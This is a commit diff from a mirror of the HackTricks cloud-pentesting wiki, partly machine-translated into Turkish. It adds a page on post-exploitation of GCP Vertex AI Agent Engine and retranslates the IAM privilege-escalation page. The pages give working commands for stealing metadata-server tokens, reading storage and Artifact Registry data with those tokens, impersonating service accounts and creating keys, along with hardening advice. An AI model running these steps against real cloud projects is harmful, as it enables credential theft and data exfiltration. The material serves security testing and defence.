mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-04-28 12:03:08 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-a
This commit is contained in:
@@ -0,0 +1,271 @@
|
||||
# GCP - Vertex AI Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI Agent Engine / Reasoning Engine
|
||||
|
||||
This page focuses on **Vertex AI Agent Engine / Reasoning Engine** workloads that run attacker-controlled tools or code inside a Google-managed runtime.
|
||||
|
||||
For the general Vertex AI overview check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
{{#endref}}
|
||||
|
||||
For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Why this service is special
|
||||
|
||||
Agent Engine introduces a useful but dangerous pattern: **developer-supplied code running inside a managed Google runtime with a Google-managed identity**.
|
||||
|
||||
The interesting trust boundaries are:
|
||||
|
||||
- **Consumer project**: your project and your data.
|
||||
- **Producer project**: Google-managed project operating the backend service.
|
||||
- **Tenant project**: Google-managed project dedicated to the deployed agent instance.
|
||||
|
||||
According to Google's Vertex AI IAM documentation, Vertex AI resources can use **Vertex AI service agents** as resource identities, and those service agents can have **read-only access to all Cloud Storage resources and BigQuery data in the project** by default. If code running inside Agent Engine can steal the runtime credentials, that default access becomes immediately interesting.
|
||||
|
||||
### Main abuse path
|
||||
|
||||
1. Deploy or modify an agent so attacker-controlled tool code executes inside the managed runtime.
|
||||
2. Query the **metadata server** to recover project identity, service account identity, OAuth scopes, and access tokens.
|
||||
3. Reuse the stolen token as the **Vertex AI Reasoning Engine P4SA / service agent**.
|
||||
4. Pivot into the **consumer project** and read project-wide storage data allowed by the service agent.
|
||||
5. Pivot into the **producer** and **tenant** environments reachable by the same identity.
|
||||
6. Enumerate internal Artifact Registry packages and extract tenant deployment artifacts such as `Dockerfile.zip`, `requirements.txt`, and `code.pkl`.
|
||||
|
||||
This is not just a "run code in your own agent" issue. The key problem is the combination of:
|
||||
|
||||
- **metadata-accessible credentials**
|
||||
- **broad default service-agent privileges**
|
||||
- **wide OAuth scopes**
|
||||
- **multi-project trust boundaries hidden behind one managed service**
|
||||
|
||||
## Enumeration
|
||||
|
||||
### Identify Agent Engine resources
|
||||
|
||||
The resource name format used by Agent Engine is:
|
||||
```text
|
||||
projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>
|
||||
```
|
||||
Vertex AI erişimine sahip bir token'ınız varsa, Reasoning Engine API'yi doğrudan enumerate edin:
|
||||
```bash
|
||||
PROJECT_ID=<project-id>
|
||||
LOCATION=<location>
|
||||
|
||||
curl -s \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"
|
||||
```
|
||||
Dağıtım günlüklerini kontrol edin çünkü paketleme veya çalışma zamanı başlatma sırasında kullanılan **internal producer Artifact Registry paths** leak edebilir:
|
||||
```bash
|
||||
gcloud logging read \
|
||||
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
|
||||
--project <project-id> \
|
||||
--limit 50 \
|
||||
--format json
|
||||
```
|
||||
Unit 42 araştırması şu iç yolları gözlemledi:
|
||||
```text
|
||||
us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
|
||||
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod
|
||||
```
|
||||
## Runtime içindeki Metadata kimlik bilgisi hırsızlığı
|
||||
|
||||
Eğer agent runtime içinde kod çalıştırabiliyorsanız, önce metadata servisini sorgulayın:
|
||||
```bash
|
||||
curl -H 'Metadata-Flavor: Google' \
|
||||
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'
|
||||
```
|
||||
İlginç alanlar şunlardır:
|
||||
|
||||
- proje tanımlayıcıları
|
||||
- bağlı service account / service agent
|
||||
- runtime için kullanılabilir OAuth scope'ları
|
||||
|
||||
Sonra ekli kimlik için bir token isteyin:
|
||||
```bash
|
||||
curl -H 'Metadata-Flavor: Google' \
|
||||
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'
|
||||
```
|
||||
Token'ı doğrulayın ve verilen scopes'ları inceleyin:
|
||||
```bash
|
||||
TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
|
||||
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"
|
||||
|
||||
curl -s \
|
||||
-H 'Content-Type: application/x-www-form-urlencoded' \
|
||||
-d "access_token=${TOKEN}" \
|
||||
https://www.googleapis.com/oauth2/v1/tokeninfo
|
||||
```
|
||||
> [!WARNING]
|
||||
> Google, araştırma raporlandıktan sonra ADK dağıtım iş akışının bazı kısımlarını değiştirdi; bu nedenle eski dağıtım snippet'leri artık mevcut SDK ile tam olarak uyuşmayabilir. Önemli primitif hâlâ aynı: **eğer saldırgan kontrollü kod Agent Engine runtime içinde çalıştırılırsa, ek kontroller bu yolu engellemediği sürece metadatadan türetilmiş kimlik bilgilerine erişilebilir hale gelir**.
|
||||
|
||||
## Tüketici-proje pivotu: service-agent ile veri hırsızlığı
|
||||
|
||||
Runtime token çalındıktan sonra, service agent'in tüketici projeye karşı etkin erişimini test edin.
|
||||
|
||||
Belgelendirilmiş riskli varsayılan yetenek geniş **proje verilerine okuma erişimi**dir. Unit 42 araştırması özellikle doğruladı:
|
||||
|
||||
- `storage.buckets.get`
|
||||
- `storage.buckets.list`
|
||||
- `storage.objects.get`
|
||||
- `storage.objects.list`
|
||||
|
||||
Çalınan token ile pratik doğrulama:
|
||||
```bash
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"
|
||||
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"
|
||||
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"
|
||||
```
|
||||
Bu, ele geçirilmiş veya kötü amaçlı bir ajanı **project-wide storage exfiltration primitive** haline getirir.
|
||||
|
||||
## Producer-project pivot: Artifact Registry'e dahili erişim
|
||||
|
||||
Aynı çalınmış kimlik **Google-managed producer resources** üzerinde de çalışabilir.
|
||||
|
||||
İlk olarak loglardan elde edilen dahili repository URI'lerini test edin. Ardından Artifact Registry API ile paketleri listeleyin:
|
||||
```python
|
||||
packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
|
||||
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
|
||||
)
|
||||
packages_response = packages_request.execute()
|
||||
packages = packages_response.get("packages", [])
|
||||
```
|
||||
Eğer elinizde yalnızca raw bearer token varsa, REST API'yi doğrudan çağırın:
|
||||
```bash
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"
|
||||
```
|
||||
Bu, yazma erişimi engellense bile değerli çünkü şunları açığa çıkarır:
|
||||
|
||||
- dahili image isimleri
|
||||
- kullanımdan kaldırılmış image'lar
|
||||
- tedarik zinciri yapısı
|
||||
- sonraki araştırmalar için paket/sürüm envanteri
|
||||
|
||||
Daha fazla Artifact Registry arka plan bilgisi için:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Tenant-project pivot: dağıtım artefaktlarının elde edilmesi
|
||||
|
||||
Reasoning Engine dağıtımları ayrıca o örnek için Google tarafından kontrol edilen bir **tenant project** içinde ilginç artefaktlar bırakır.
|
||||
|
||||
Unit 42 araştırması şunları buldu:
|
||||
|
||||
- `Dockerfile.zip`
|
||||
- `code.pkl`
|
||||
- `requirements.txt`
|
||||
|
||||
Çalınmış token'ı kullanarak erişilebilir depolamayı listeleyin ve dağıtım artefaktlarını arayın:
|
||||
```bash
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"
|
||||
```
|
||||
Tenant projesindeki artifaktlar şunları açığa çıkarabilir:
|
||||
|
||||
- dahili bucket isimleri
|
||||
- dahili image referansları
|
||||
- paketleme varsayımları
|
||||
- bağımlılık listeleri
|
||||
- serileştirilmiş agent kodu
|
||||
|
||||
Blog ayrıca şu gibi bir dahili referans gözlemledi:
|
||||
```text
|
||||
gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip
|
||||
```
|
||||
Even when the referenced restricted bucket is not readable, those leaked paths help map internal infrastructure.
|
||||
|
||||
## `code.pkl` ve koşullu RCE
|
||||
|
||||
If the deployment pipeline stores executable agent state in **Python `pickle`** format, treat it as a high-risk target.
|
||||
|
||||
The immediate issue is **confidentiality**:
|
||||
|
||||
- çevrimdışı deserializasyon kod yapısını açığa çıkarabilir
|
||||
- the package format leaks implementation details
|
||||
|
||||
The bigger issue is **conditional RCE**:
|
||||
|
||||
- eğer bir saldırgan servis-tarafı deserializasyon öncesinde serileştirilmiş artifact'e müdahale edebiliyorsa
|
||||
- and the pipeline later loads that pickle
|
||||
- yönetilen runtime içinde arbitrary code execution mümkün hale gelir
|
||||
|
||||
This is not a standalone exploit by itself. It is a **dangerous deserialization sink** that becomes critical when combined with any artifact write or supply-chain tampering primitive.
|
||||
|
||||
## OAuth scopes and Workspace blast radius
|
||||
|
||||
The metadata response also exposes the **OAuth scopes** attached to the runtime.
|
||||
|
||||
If those scopes are broader than the minimum required, a stolen token may become useful against more than GCP APIs. IAM still decides whether the identity is authorized, but broad scopes increase blast radius and make later misconfigurations more dangerous.
|
||||
|
||||
If you find Workspace-related scopes, cross-check whether the compromised identity also has a path to Workspace impersonation or delegated access:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-to-workspace-pivoting/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Sertleştirme / tespit
|
||||
|
||||
### Varsayılan managed identity yerine özel bir service account tercih edin
|
||||
|
||||
Current Agent Engine documentation supports setting a **custom service account** for the deployed agent. That is the cleanest way to reduce blast radius:
|
||||
|
||||
- varsayılan geniş service agent'e bağımlılığı kaldırın
|
||||
- agenta gerekli olan en az izinleri verin
|
||||
- runtime kimliğini denetlenebilir ve kasıtlı olarak scoped hale getirin
|
||||
|
||||
### Gerçek service-agent erişimini doğrulayın
|
||||
|
||||
Inspect the effective access of the Vertex AI service agent in every project where Agent Engine is used:
|
||||
```bash
|
||||
gcloud projects get-iam-policy <project-id> \
|
||||
--format json | jq '
|
||||
.bindings[]
|
||||
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
|
||||
'
|
||||
```
|
||||
Eklenmiş kimliğin şu kaynakları okuyup okuyamayacağına odaklanın:
|
||||
|
||||
- tüm GCS buckets
|
||||
- BigQuery veri setleri
|
||||
- Artifact Registry depoları
|
||||
- build/deployment workflows üzerinden erişilebilen secrets veya internal registries
|
||||
|
||||
### Agent kodunu ayrıcalıklı kod yürütmesi olarak değerlendirin
|
||||
|
||||
Agent tarafından yürütülen herhangi bir araç/fonksiyon, metadata erişimi olan bir VM'de çalışan kodmuş gibi incelenmelidir. Pratikte bu şu anlama gelir:
|
||||
|
||||
- agent araçlarını metadata endpoint'lerine doğrudan HTTP erişimi açısından inceleyin
|
||||
- logları internal `pkg.dev` repositories ve tenant buckets referansları için inceleyin
|
||||
- çalıştırılabilir durumu `pickle` olarak saklayan herhangi bir paketleme yolunu inceleyin
|
||||
|
||||
## References
|
||||
|
||||
- [Double Agents: Exposing Security Blind Spots in GCP Vertex AI](https://unit42.paloaltonetworks.com/double-agents-vertex-ai/)
|
||||
- [Deploy an agent - Vertex AI Agent Engine](https://docs.cloud.google.com/agent-builder/agent-engine/deploy)
|
||||
- [Vertex AI access control with IAM](https://docs.cloud.google.com/vertex-ai/docs/general/access-control)
|
||||
- [Service accounts and service agents](https://docs.cloud.google.com/iam/docs/service-account-types#service-agents)
|
||||
- [Authorization for Google Cloud APIs](https://docs.cloud.google.com/docs/authentication#authorization-gcp)
|
||||
- [pickle - Python object serialization](https://docs.python.org/3/library/pickle.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -12,16 +12,16 @@ IAM hakkında daha fazla bilgi için:
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
Bahsedilen izinlere sahip bir saldırgan, size atanan bir rolü güncelleyebilir ve size diğer kaynaklar için şu tür ek izinler verebilir:
|
||||
Belirtilen permissions'a sahip bir attacker, size atanmış bir role'ü güncelleyebilir ve size aşağıdaki gibi diğer resources için ek permissions verebilir:
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
Bir vuln ortamının **oluşturulması, exploit edilmesi ve temizlenmesinin** otomatikleştirilmesi için bir script bulabilirsiniz ve bu ayrıcalığı kötüye kullanmak için bir python scripti [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Daha fazla bilgi için [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Vuln environment'in **oluşturulmasını, exploit edilmesini ve temizlenmesini otomatikleştiren bir scripti burada** bulabilirsiniz ve bu ayrıcalığı suistimal etmek için bir python scripti [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Daha fazla bilgi için [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
```bash
|
||||
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
|
||||
```
|
||||
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
|
||||
`iam.roles.create` izni, bir proje/organizasyon içinde özelleştirilmiş roller oluşturulmasına izin verir. Bir attacker'ın elinde bu durum tehlikelidir; çünkü ona, daha sonra varlıklara atanabilecek yeni izin setleri tanımlama imkânı sağlar (örneğin `iam.serviceAccounts.setIamPolicy` izni kullanılarak) ve amacı escalating privileges.
|
||||
iam.roles.create izni, bir proje/organizasyonda özel roller oluşturulmasına izin verir. Bir saldırganın eline geçerse tehlikelidir çünkü bu, saldırganın daha sonra varlıklara (örneğin iam.serviceAccounts.setIamPolicy iznini kullanarak) atanabilecek yeni izin setleri tanımlamasına ve böylece ayrıcalıkları yükseltmesine olanak verir.
|
||||
```bash
|
||||
gcloud iam roles create <ROLE_ID> \
|
||||
--project=<PROJECT_ID> \
|
||||
@@ -31,32 +31,38 @@ gcloud iam roles create <ROLE_ID> \
|
||||
```
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
Bahsedilen izinlere sahip bir saldırgan, **bir Service Account'a ait bir access token talep edebilecektir**, dolayısıyla bizimkinden daha fazla ayrıcalığa sahip bir Service Account'un access token'ını talep etmek mümkündür.
|
||||
Bahsedilen izinlere sahip bir saldırgan **Service Account'a ait bir access token isteyebilecektir**, bu yüzden bizimkinden daha fazla ayrıcalığa sahip bir Service Account'un access token'ını istemek mümkün olabilir.
|
||||
|
||||
Bir **resource-driven** varyant için, saldırganın kontrolündeki kodun metadata servisinden **managed Vertex AI Agent Engine runtime token** çalıp bunu Vertex AI service agent olarak yeniden kullanması durumuyla ilgili detaylar için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
You can find a script to automate the [**zafiyetli bir ortamın oluşturulması, exploit edilmesi ve temizlenmesi**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) and a python script to abuse this privilege [**burada**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Otomatikleştirmek için bir scripti [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) adresinde bulabilirsiniz ve bu ayrıcalığı kötüye kullanmak için bir python scriptini [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py) adresinde bulabilirsiniz. Daha fazla bilgi için [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) inceleyin.
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
Bahsedilen izinlere sahip bir saldırgan, bir Service Account için **user-managed key oluşturabilecek**, bu da o Service Account olarak GCP'ye erişmemize olanak tanır.
|
||||
Bahsedilen izinlere sahip bir saldırgan, **bir Service Account için kullanıcı tarafından yönetilen bir anahtar oluşturabilir**, bu da bize o Service Account olarak GCP'ye erişme imkânı verir.
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
Bir zafiyet ortamının oluşturulmasını, sömürülmesini ve temizlenmesini otomatikleştiren bir scripti [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) adresinde bulabilirsiniz ve bu ayrıcalığı kötüye kullanmak için bir python scripti [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Daha fazla bilgi için [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) adresine bakın.
|
||||
Otomatikleştirmek için bir scripti [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) ve bu ayrıcalığı kötüye kullanmak için bir python scriptini [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py) bulabilirsiniz. Daha fazla bilgi için [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) adresine bakın.
|
||||
|
||||
Not: **`iam.serviceAccountKeys.update` bir SA'nın anahtarını değiştirmek için çalışmaz** çünkü bunu yapmak için `iam.serviceAccountKeys.create` izni de gereklidir.
|
||||
Note that **`iam.serviceAccountKeys.update` won't work to modify the key** of a SA because to do that the permissions `iam.serviceAccountKeys.create` is also needed.
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
Eğer bir Servis Hesabı üzerinde **`iam.serviceAccounts.implicitDelegation`** izniniz varsa ve o Servis Hesabı üçüncü bir Servis Hesabı üzerinde **`iam.serviceAccounts.getAccessToken`** iznine sahipse, implicitDelegation'ı kullanarak o üçüncü Servis Hesabı için **bir token oluşturabilirsiniz**. Açıklamak için bir diyagram:
|
||||
Eğer bir Service Account üzerinde **`iam.serviceAccounts.implicitDelegation`** iznine sahipseniz ve bu Service Account'un üçüncü bir Service Account üzerinde **`iam.serviceAccounts.getAccessToken`** izni varsa, implicitDelegation'ı kullanarak üçüncü Service Account için **bir token oluşturabilirsiniz**. Açıklamaya yardımcı bir diyagram aşağıdadır.
|
||||
|
||||

|
||||
|
||||
Not: [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts)'a göre, `gcloud` delegasyonu yalnızca [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) yöntemini kullanarak token üretmek için çalışır. Bu yüzden aşağıda API'yi doğrudan kullanarak bir token nasıl alınır gösterilmektedir:
|
||||
Belirtmek gerekir ki [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts)'a göre, `gcloud` delegasyonu yalnızca [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) yöntemini kullanarak token üretmek için çalışır. Bu yüzden API'yi doğrudan kullanarak nasıl token alınacağını aşağıda bulabilirsiniz:
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
@@ -71,19 +77,19 @@ You can find a script to automate the [**creation, exploit and cleaning of a vul
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
Bahsedilen izinlere sahip bir saldırgan, GCP'de **istediği payload'ları imzalayabilecek**. Bu sayede hedeflediğimiz SA için **imzasız bir JWT oluşturup bunu bir blob olarak göndererek JWT'nin SA tarafından imzalanmasını sağlamak** mümkün olacak. Daha fazla bilgi için [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
Bahsedilen izinlere sahip bir saldırgan, **sign of arbitrary payloads in GCP** gerçekleştirebilecektir. Bu sayede hedeflediğimiz SA tarafından JWT'nin imzalanması için **create an unsigned JWT of the SA and then send it as a blob to get the JWT signed** mümkün olacaktır. Daha fazla bilgi için [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
Bahsedilen izinlere sahip bir saldırgan, **doğru biçimlendirilmiş JSON web tokens (JWTs) imzalayabilecek**. Önceki yöntemle farkı, **JWT içeren bir blob'un google tarafından imzalanmasını sağlamak yerine, zaten bir JWT bekleyen signJWT yöntemini kullanmamızdır**. Bu kullanımını kolaylaştırır ancak her türlü byte yerine sadece JWT imzalayabilirsiniz.
|
||||
Bahsedilen izinlere sahip bir saldırgan **sign well-formed JSON web tokens (JWTs)** imzalayabilecektir. Önceki yöntemden farkı, **instead of making google sign a blob containing a JWT, we use the signJWT method that already expects a JWT**. Bu, kullanımını kolaylaştırır fakat herhangi bir byte yerine yalnızca JWT imzalayabilirsiniz.
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
Bahsedilen izinlere sahip bir saldırgan, **service accounts için IAM policy'leri ekleyebilecek**. Bunu, service account'u taklit etmek için ihtiyaç duyduğunuz izinleri kendinize **vermeye** kullanabilirsiniz. Aşağıdaki örnekte ilginç SA üzerinde kendimize `roles/iam.serviceAccountTokenCreator` rolünü veriyoruz:
|
||||
Bahsedilen izinlere sahip bir saldırgan **add IAM policies to service accounts** gerçekleştirebilecektir. Bunu, service account'u taklit etmek için ihtiyaç duyduğunuz izinleri kendinize **grant yourself** vermek amacıyla kötüye kullanabilirsiniz. Aşağıdaki örnekte ilgilenilen SA üzerinde kendimize `roles/iam.serviceAccountTokenCreator` rolünü veriyoruz:
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
@@ -94,25 +100,25 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
Bir zafiyet ortamının oluşturulmasını, istismarını ve temizlenmesini otomatikleştirmek için bir scripti şurada bulabilirsiniz: [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
**iam.serviceAccounts.actAs permission**, AWS'deki **iam:PassRole permission** ile benzerdir. Bir Compute Engine instance'ını başlatmak gibi görevleri yürütmek için gereklidir; bir Service Account adına "actAs" yapma yetkisi vererek izin yönetimini güvenli hale getirir. Bu izin olmadan kullanıcılar haksız erişim elde edebilir. Ayrıca, **iam.serviceAccounts.actAs**'in suistimali çeşitli yöntemler içerir ve her biri farklı izin setleri gerektirir; oysa diğer bazı yöntemler tek bir izinle çalışır.
|
||||
The **iam.serviceAccounts.actAs permission** AWS'deki **iam:PassRole permission**'a benzer. Compute Engine örneğini başlatmak gibi görevleri yürütmek için gereklidir; bir Service Account olarak "actAs" etme yeteneği vererek güvenli izin yönetimi sağlar. Bu izin olmadan kullanıcılar haksız erişim kazanabilir. Ayrıca, **iam.serviceAccounts.actAs**'ın suistimali çeşitli yöntemler içerir ve her biri bir dizi izin gerektirir; bazı diğer yöntemlerin yalnızca bir izin gerektirmesiyle zıtlık gösterir.
|
||||
|
||||
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
#### Hizmet hesabı taklidi <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
Bir service account'u taklit etmek, **obtain new and better privileges** elde etmek için çok faydalı olabilir. Başka bir service account'u [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account) yapmanın üç yolu vardır:
|
||||
Bir hizmet hesabını taklit etmek, **yeni ve daha iyi ayrıcalıklar elde etmek** için çok faydalı olabilir. Başka bir service account'u [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account) yapmanın üç yolu vardır:
|
||||
|
||||
- Authentication **using RSA private keys** (covered above)
|
||||
- Authorization **using Cloud IAM policies** (covered here)
|
||||
- **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
|
||||
- Authentication **using RSA private keys** (yukarıda ele alındı)
|
||||
- Authorization **using Cloud IAM policies** (burada ele alındı)
|
||||
- **Deploying jobs on GCP services** (daha çok bir kullanıcı hesabının ele geçirilmesine uygulanır)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
Belirtilen izinlere sahip bir saldırgan, bir OpenID JWT üretebilir. Bunlar kimliği doğrulamak için kullanılır ve mutlaka bir kaynağa karşı örtük bir yetkilendirme taşımazlar.
|
||||
Bahsedilen izinlere sahip bir saldırgan OpenID JWT üretebilir. Bunlar kimliği doğrulamak için kullanılır ve zorunlu olarak bir kaynağa karşı örtük bir yetkilendirme taşımaz.
|
||||
|
||||
Bu [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b)'a göre, audience'ı (token'ı kimliği doğrulamak için kullanmak istediğiniz servis) belirtmeniz gerekir ve size service account ile JWT'nin audience'ını belirten, google tarafından imzalanmış bir JWT verilecektir.
|
||||
Bu [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) göre, audience (token'i kimlik doğrulamak için kullanmak istediğiniz servis) belirtilmelidir ve size service account ile JWT'nin audience'ını gösteren google tarafından imzalanmış bir JWT verilecektir.
|
||||
|
||||
Erişiminiz varsa bir OpenIDToken şu şekilde üretebilirsiniz:
|
||||
```bash
|
||||
@@ -121,18 +127,18 @@ gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
Bunu kullanarak servise şu şekilde erişebilirsiniz:
|
||||
Sonra servise erişmek için onu şu şekilde kullanabilirsiniz:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
Bu tür token'larla kimlik doğrulamayı destekleyen bazı servisler şunlardır:
|
||||
Bu tür token'lar aracılığıyla kimlik doğrulamayı destekleyen bazı servisler şunlardır:
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
